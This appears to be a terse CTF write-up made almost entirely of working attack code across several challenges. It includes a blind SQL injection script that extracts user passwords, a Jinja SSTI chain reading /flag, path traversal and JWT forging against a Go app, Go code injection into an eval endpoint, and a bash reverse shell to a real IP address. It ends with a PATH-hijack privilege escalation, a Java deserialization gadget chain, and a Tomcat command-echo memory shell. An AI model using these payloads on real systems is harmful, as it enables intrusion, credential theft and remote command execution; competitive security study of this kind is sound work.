'randomblob(N)--

'UNION/**/select/**/sql/**/from/**/sqlite_schema--

payload = "'OR/**/(case/**/when(substr(sqlite_version(),1,1)<'310')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end);--"

import requests

url = 'http://node.vnteam.cn:47163/login'
result = ''
for i in range(1, 50):
    head = 32
    tail = 127
    while head < tail:
        mid = (head + tail) // 2
        # payload = 'sqlite_version()'
        # payload = 'select/**/group_concat(sql)/**/from/**/sqlite_master'
        # payload = 'select/**/group_concat(sql)/**/FROM/**/sqlite_master/**/WHERE/**/type=\'table\'/**/AND/**/name=\'users\';'
        # payload = 'select/**/group_concat(username)/**/from/**/users'
        payload = 'select/**/group_concat(password)/**/from/**/users'
        username = 'baozongwi'
        char = chr(mid)
        password = "'or/**/(case/**/when(substr(({}),{},1)>'{}')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)--".format(
            payload, i, char)
        json = {
            "username": username,
            "password": password
        }
        try:
            res = requests.post(url=url, json=json, timeout=3)
        except Exception:
            head = mid + 1
            print(f'\r[*]trying: {result}[{head}-{tail}]', end='')
        else:
            tail = mid
            print(f'\r[*]trying: {result}[{head}-{tail}]', end='')

    result += chr(head)
    print(f'\r[*]result: {result}')

nailong\woaipangmao114514

{{7+7}}

{{a:=().__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()[154]}}
{{e:=d.__init__}}
{{f:=e.__globals__}}
{{x:='__builtins__'}}

{{a:=().__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()[154]}}
{{e:=d.__init__}}
{{f:=e.__globals__}}
{{x:='__builtins__'}}
{{g:=f[x]}}
{{h:=g['op''en']}}
{{i:=h('/flag')}}
{{j:=i.read()}}

package routes

import (
	"GinTest/controllers"
	"GinTest/middleware"
	"github.com/gin-gonic/gin"
	"net/http"
)

func SetupRoutes(r *gin.Engine) *gin.Engine {
	r.GET("/", func(c *gin.Context) {
		c.Redirect(http.StatusFound, "/login")
	})
	r.GET("/register", func(c *gin.Context) {
		c.File("./static/register.html")
	})
	r.POST("/register", controllers.Register)
	r.GET("/login", func(c *gin.Context) {
		c.File("./static/login.html")
	})
	r.POST("/login", controllers.Login)
	r.GET("/user", middleware.AuthMiddleware("user"), func(c *gin.Context) {
		c.File("./static/user.html")
	})
	r.POST("/upload", middleware.AuthMiddleware("upload"), controllers.Upload)
	r.GET("/download", middleware.AuthMiddleware("download"), controllers.Download)
	r.GET("/admin", middleware.AuthMiddleware("admin"), func(c *gin.Context) {
		c.File("./static/admin.html")
	})
	r.POST("/eval", middleware.AuthMiddleware("admin"), controllers.Eval)
	return r
}

package utils

import (
	"GinTest/config"
	"fmt"
	"github.com/golang-jwt/jwt/v4"
	"math/rand"
	"time"
)

type JWTClaims struct {
	Username string `json:"username"`
	jwt.RegisteredClaims
}

func GenerateKey() string {
	rand.Seed(config.Year())
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
	return key
}

func GenerateToken(username string) (string, error) {
	key := GenerateKey()
	claims := JWTClaims{
		Username: username,
		RegisteredClaims: jwt.RegisteredClaims{
			ExpiresAt: jwt.NewNumericDate(time.Now().Add(24 * time.Hour)),
			IssuedAt:  jwt.NewNumericDate(time.Now()),
			Issuer:    "Mash1r0",
			Subject:   "user token",
		},
	}

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

	signedToken, err := token.SignedString([]byte(key))
	if err != nil {
		return "", fmt.Errorf("生成 token 时出错: %v", err)
	}
	return signedToken, nil
}

func ParseToken(tokenString string) (*JWTClaims, error) {
	key := GenerateKey()
	token, err := jwt.ParseWithClaims(tokenString, &JWTClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(key), nil
	})

	if err != nil {
		return nil, fmt.Errorf("解析 token 时出错: %v", err)
	}

	if claims, ok := token.Claims.(*JWTClaims); ok && token.Valid {
		return claims, nil
	} else {
		return nil, fmt.Errorf("无效的 token")
	}
}

package controllers

import (
	"GinTest/config"
	"GinTest/model"
	"GinTest/response"
	"GinTest/utils"
	"bufio"
	"fmt"
	"github.com/gin-gonic/gin"
	"golang.org/x/crypto/bcrypt"
	"gorm.io/gorm"
	"io"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"regexp"
	"strings"
)

var DB = config.InitDB()

func Register(c *gin.Context) {
	var requestUser = model.User{}
	c.Bind(&requestUser)
	username := requestUser.Username
	password := requestUser.Password

	if len(username) == 0 || len(password) == 0 {
		response.Response(c, http.StatusBadRequest, 400, nil, "账号或密码不能为空")
		return
	}

	if len(password) < 6 {
		response.Response(c, http.StatusBadRequest, 400, nil, "密码不能小于6位")
		return
	}

	if isUserExist(DB, username) {
		response.Response(c, http.StatusConflict, 409, nil, "用户已存在")
		return
	}

	hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
	if err != nil {
		response.Response(c, http.StatusInternalServerError, 500, nil, "加密错误")
		log.Printf("password hashing failed: %v", err)
		return
	}
	newUser := model.User{
		Username: username,
		Password: string(hashedPassword),
	}
	DB.Create(&newUser)
	response.Success(c, nil, "注册成功")
}

func isUserExist(db *gorm.DB, username string) bool {
	user := model.User{}
	db.Where("username = ?", username).First(&user)
	if user.ID != 0 {
		return true
	}
	return false
}

func Login(c *gin.Context) {
	var requestUser = model.User{}
	c.Bind(&requestUser)
	username := requestUser.Username
	password := requestUser.Password

	if len(username) == 0 || len(password) == 0 {
		response.Response(c, http.StatusBadRequest, 400, nil, "账号或密码不能为空")
		return
	}

	if len(password) < 6 {
		response.Response(c, http.StatusBadRequest, 400, nil, "密码不能小于6位")
		return
	}

	user := model.User{}
	DB.Where("username = ?", username).First(&user)
	if user.ID == 0 {
		response.Response(c, http.StatusNotFound, 404, nil, "用户不存在")
		return
	}

	if err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(password)); err != nil {
		response.Response(c, http.StatusUnauthorized, 401, nil, "密码错误")
		log.Printf("密码错误：%v", err)
		return
	}

	token, err := utils.GenerateToken(user.Username)
	if err != nil {
		response.Response(c, http.StatusInternalServerError, 500, nil, "加密错误")
		log.Printf("token generate error: %v", err)
	}

	response.Success(c, gin.H{"token": token}, "登录成功")
}

func Upload(c *gin.Context) {
	file, _ := c.FormFile("file")
	contentDisposition := file.Header["Content-Disposition"][0]
	filename := parseFilenameFromContentDisposition(contentDisposition)
	if filename == "" {
		fmt.Println("Failed to parse filename from Content-Disposition")
		return
	}
	in, _ := file.Open()
	log.Println(in)
	defer in.Close()
	hasMaliciousContent, err := containsMaliciousContent(in)
	if err != nil {
		response.Response(c, http.StatusInternalServerError, 500, nil, "Error checking file content")
		return
	}
	if hasMaliciousContent {
		response.Response(c, http.StatusBadRequest, 400, nil, "File contains malicious content")
		return
	}
	in.Seek(0, io.SeekStart)
	basepath := "./uploads"
	filepath, _ := url.JoinPath(basepath, filename)
	out, _ := os.Create(filepath)
	defer out.Close()
	log.Println(in)
	io.Copy(out, in)
	log.Println(out)
	log.Println(filepath)
	downloadLink := "/download?filename=" + filename
	response.Success(c, gin.H{"filepath": filepath, "downloadLink": downloadLink}, "upload success")
}

func parseFilenameFromContentDisposition(contentDisposition string) string {
	parts := strings.Split(contentDisposition, ";")
	for _, part := range parts {
		part = strings.TrimSpace(part)
		if strings.HasPrefix(part, "filename=") {
			filename := strings.TrimPrefix(part, "filename=")
			filename = strings.Trim(filename, `"`) 
			return filename
		}
	}
	return ""
}

func containsMaliciousContent(file multipart.File) (bool, error) {
	maliciousPatterns := []string{
		"package",
		"<script>",
		"eval(",
		"base64",
		"file://",
		"exec",
		"flag",
		"cat",
		"bash",
		"/bin",
		"import",
	}

	reader := bufio.NewReader(file)

	for {
		line, err := reader.ReadString('\n')
		if err != nil && err != io.EOF {
			return false, err
		}

		for _, pattern := range maliciousPatterns {
			if strings.Contains(line, pattern) {
				return true, nil
			}
		}

		if err == io.EOF {
			break
		}
	}
	return false, nil
}

func Download(c *gin.Context) {
	filename := c.DefaultQuery("filename", "")
	if filename == "" {
		response.Response(c, http.StatusBadRequest, 400, nil, "Filename is required")
	}
	basepath := "./uploads"
	filepath, _ := url.JoinPath(basepath, filename)
	if _, err := os.Stat(filepath); os.IsNotExist(err) {
		response.Response(c, http.StatusBadRequest, 404, nil, "File not found")
	}
	c.Header("Content-Disposition", "attachment; filename="+filename)
	c.File(filepath)
}

func Eval(c *gin.Context) {
	code := c.PostForm("code")
	log.Println(code)
	if code == "" {
		response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
		return
	}
	log.Println(containsBannedPackages(code))
	if containsBannedPackages(code) {
		response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
		return
	}
	tmpFile, err := ioutil.TempFile("", "goeval-*.go")
	if err != nil {
		log.Println("Error creating temp file:", err)
		response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
		return
	}
	defer os.Remove(tmpFile.Name())

	_, err = tmpFile.WriteString(code)
	if err != nil {
		log.Println("Error writing code to temp file:", err)
		response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
		return
	}

	cmd := exec.Command("go", "run", tmpFile.Name())
	output, err := cmd.CombinedOutput()
	if err != nil {
		log.Println("Error running Go code:", err)
		response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
		return
	}

	response.Success(c, gin.H{"result": string(output)}, "success")
}

func containsBannedPackages(code string) bool {
	importRegex := `(?i)import\s*\((?s:.*?)\)`
	re := regexp.MustCompile(importRegex)
	matches := re.FindStringSubmatch(code)
	imports := matches[0]
	log.Println(imports)
	if strings.Contains(imports, "os/exec") {
		return true
	}

	return false
}

/download?filename=../main.go
/download?filename=../config/key.go

package config

func Key() string {
	return "r00t32l"
}
func Year() int64 {
	return 2025
}

package main

import (
	"fmt"
	"math/rand"
)

func Key() string {
	return "r00t32l"
}

func Year() int64 {
	return 2025
}

func GenerateKey() string {
	rand.Seed(Year())
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, Key())
	return key
}

func main() {
	key := GenerateKey() // 调用 GenerateKey 函数生成密钥
	fmt.Println("Generated Key:", key) // 打印生成的密钥
}
// Generated Key: 122r00t32l

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJhb3pvbmd3aSIsImlzcyI6Ik1hc2gxcjAiLCJzdWIiOiJ1c2VyIHRva2VuIiwiZXhwIjoxNzM5MDk1MjgwLCJpYXQiOjE3MzkwMDg4ODB9.Zg-vmBLmyJybP296MBi-X95rmUAiFxNhNKxa6hZ3gJQ

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNzIjoiTWFzaDFyMCIsInN1YiI6InVzZXIgdG9rZW4iLCJleHAiOjE3MzkwOTUyODAsImlhdCI6MTczOTAwODg4MH0.MU6y5-2-f-pJNo6qhjPnZ2cBNC1mZspwH-qA6us5y_0

package main
 
import (
	"fmt"
	"github.com/PaulXu-cn/goeval"
)
 
func main()  {
 
	Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
	eval, _ := goeval.Eval("", "fmt.Println(\"Good\")", Package)
	fmt.Println(string(eval))
 
}

Execution Successful! Result:
--------------------------------
SHELL        : /bin/bash
SUDO_GID     : 0
HOSTNAME     : ret2shell-47-117
SUDO_COMMAND  : /bin/bash
SUDO_USER    : root
PWD          : /GinTest
LOGNAME      : ctfer
HOME         : /home/ctfer
TERM         : unknown
USER         : ctfer
GOPROXY      : https://proxy.golang.org,direct
SHLVL        : 1
PATH         : /usr/local/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin
SUDO_UID     : 0
MAIL         : /var/mail/ctfer
OLDPWD       : /home/ctfer
_            : ./GinTest

Good

package main

import (
    "syscall"
)

func main() {
    syscall.Exec("/bin/sh", []string{"sh", "-c", "ls /"}, []string{})
}

find / -perm -u=s -type f 2>/dev/null

bash -c 'bash -i >& /dev/tcp/156.238.233.9/4444 <&1'

cd /tmp
echo "/bin/bash" > cat
chmod +x cat
echo $PATH
export PATH=/tmp:$PATH
/.../Cat

from Crypto.Util.number import *
from secret import flag
flag=bytes_to_long(flag)
l=flag.bit_length()//3 + 1
n=[]
N=1
while len(n) < 3:
    p = 4*getPrime(l)-1
    if isPrime(p):
        n.append(p)
        N *= p

print(f'c={flag*flag%N}')

from sympy import symbols, expand
x = symbols('x')
polynomial = expand((x - n[0]) * (x - n[1]) * (x - n[2]))

print(f'{polynomial=}')
# c=24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944
# polynomial=x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

from sympy import symbols, solve, isprime
from sympy.ntheory.modular import crt
import binascii
from itertools import product

# 用户提供的参数
polynomial_str = "x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619"
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

# 解三次方程并返回可能的质数根
def find_prime_roots(expr):
    # 解方程
    x = symbols('x')
    roots = solve(expr, x)
    candidates = [int(root.round()) for root in roots]  # 四舍五入并转换为整数

    # 筛选出质数
    primes = [p for p in candidates if isprime(p)]
    return sorted(primes, reverse=True)  # 从大到小排序

# 解二次剩余方程，使用 Tonelli-Shanks 算法
def tonelli_shanks(n, p):
    if pow(n, (p - 1) // 2, p) != 1:
        return None  # 不是二次剩余
    return pow(n, (p + 1) // 4, p)

# 使用 Chinese Remainder Theorem (CRT) 合并解
def apply_crt(moduli, solutions):
    possible_flags = []
    for sol in solutions:
        res = crt(moduli, sol)
        if res is not None:
            possible_flags.append(res[0])
    return list(set(possible_flags))  # 去重

# 解码 flag
def decode_flag(f):
    try:
        flag_bytes = int.to_bytes(f, length=(f.bit_length() + 7) // 8, byteorder='big')
        return flag_bytes.decode()
    except UnicodeDecodeError:
        return None  # 解码失败

# 主程序
def main():
    # 定义方程表达式
    expr = symbols('x')**3 - 15264966144147258587171776703005926730518438603688487721465 * symbols('x')**2 + \
           76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923 * symbols('x') - \
           125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

    # 查找质数根
    primes = find_prime_roots(expr)
    print(f"找到的质数: {primes}")

    if len(primes) < 3:
        print("没有找到足够的质数根，无法继续解密")
        return

    p0, p1, p2 = primes[:3]  # 获取前3个质数

    # 计算 N
    N = p0 * p1 * p2
    print(f"N = {N}")

    # 确保 c 是正确的模数
    assert c < N, "c 的值超出模数范围"

    # 计算二次剩余的解
    r0 = tonelli_shanks(c, p0)
    r1 = tonelli_shanks(c, p1)
    r2 = tonelli_shanks(c, p2)

    if any(r is None for r in [r0, r1, r2]):
        print("无法找到二次剩余的解，计算终止")
        return

    # 生成所有可能的符号组合
    signs = list(product([+1, -1], repeat=3))
    solutions = [(sign[0] * r0 % p0, sign[1] * r1 % p1, sign[2] * r2 % p2) for sign in signs]

    # 使用 CRT 合并解
    moduli = [p0, p1, p2]
    possible_flags = apply_crt(moduli, solutions)

    # 去重并检查可能的解
    possible_flags = [f for f in possible_flags if f**2 % N == c]

    # 输出所有可能的解
    print("可能的 flag 解密结果:")
    for f in possible_flags:
        if f < 0:
            f += N  # 保证解在正数范围内
        decoded_flag = decode_flag(f)
        if decoded_flag:
            print(f"解码后的 flag: {decoded_flag}")
        else:
            print(f"候选解: {f}（解码失败）")

if __name__ == "__main__":
    main()

1. 反序列化入口点：ArrayList.readObject()
   ↓
2. 处理第一个元素：SignedObject.readObject()
   ↓
3. 反序列化内部对象：HashMap.readObject()
   ↓
4. 处理HashMap键对象：动态代理(Proxy)的hashCode计算
   ↓
5. 触发InvocationHandler.invoke() → JdkDynamicAopProxy.invoke()
   ↓
6. 调用目标对象方法：TemplatesImpl.getOutputProperties()
   ↓
7. 加载恶意字节码：TemplatesImpl._bytecodes中的TomcatEchoPayload
   ↓
8. 执行静态初始化代码：TomcatEchoPayload.<clinit>()中的恶意代码

package org.example.exp;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Vector;

import static ysoserial.payloads.util.Reflections.getFieldValue;

//import static ysoserial.payloads.util.Reflections.setFieldValue;

public class exp {

    public static void setFieldValue(Object object, String field, Object arg) throws NoSuchFieldException, IllegalAccessException {
        Field f = object.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(object, arg);
    }


    public static void main(String[] args) throws Exception {

        Object template = makeTemplatesImplAopProxy();
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(template, badAttributeValueExpException);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));

        ArrayList<Object> arrayList = new ArrayList<>();
        arrayList.add(signedObject);

        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);

        EventListenerList badAttributeValueExpException1 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(jsonArray1);
        setFieldValue(badAttributeValueExpException1, "listenerList", new Object[]{InternalError.class, manager});

        arrayList.add(badAttributeValueExpException1);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(arrayList);
        oos.close();
        System.out.println(DatatypeConverter.printHexBinary(barr.toByteArray()));
        System.out.println(java.util.Base64.getEncoder().encodeToString(barr.toByteArray()));
        ObjectInputStream myObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        myObjectInputStream.readObject();

    }

    public static Object makeTemplatesImplAopProxy() throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(TomcatEchoPayload.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "TomcatEchoPayload");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
}

package org.example.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.Serializable;

/**
 * @author wh1t3P1g
 * @since 2021/6/16
 */
public class TomcatEchoPayload extends AbstractTranslet implements Serializable {

    public TomcatEchoPayload() throws Exception {
        transletVersion = 101;
        Object o;
        Object resp;
        String s;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }

                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }

                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");
                    resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]);
                    s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testecho"});
                    if (s != null && !s.isEmpty()) {
                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                        resp.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(resp, new Object[]{"Testecho", s});
                        done = true;
                    }
                    s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testcmd"});
                    if (s != null && !s.isEmpty()) {
                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                        String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
                        writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes());
                        done = true;
                    }
                    if ((s == null || s.isEmpty()) && done) {
                        writeBody(resp, System.getProperties().toString().getBytes());
                    }

                    if (done) {
                        break;
                    }
                }
                if (done) {
                    break;
                }
            }
        }
    }

    private static void writeBody(Object resp, byte[] bs) throws Exception {
        Object o;
        Class clazz;
        try {
            clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            o = clazz.newInstance();
            clazz.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class})
                    .invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});
            resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
        } catch (ClassNotFoundException e) {
            clazz = Class.forName("java.nio.ByteBuffer");
            o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});
            resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
        } catch (NoSuchMethodException e) {
            clazz = Class.forName("java.nio.ByteBuffer");
            o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});
            resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
        }
    }

    private static Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }



    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}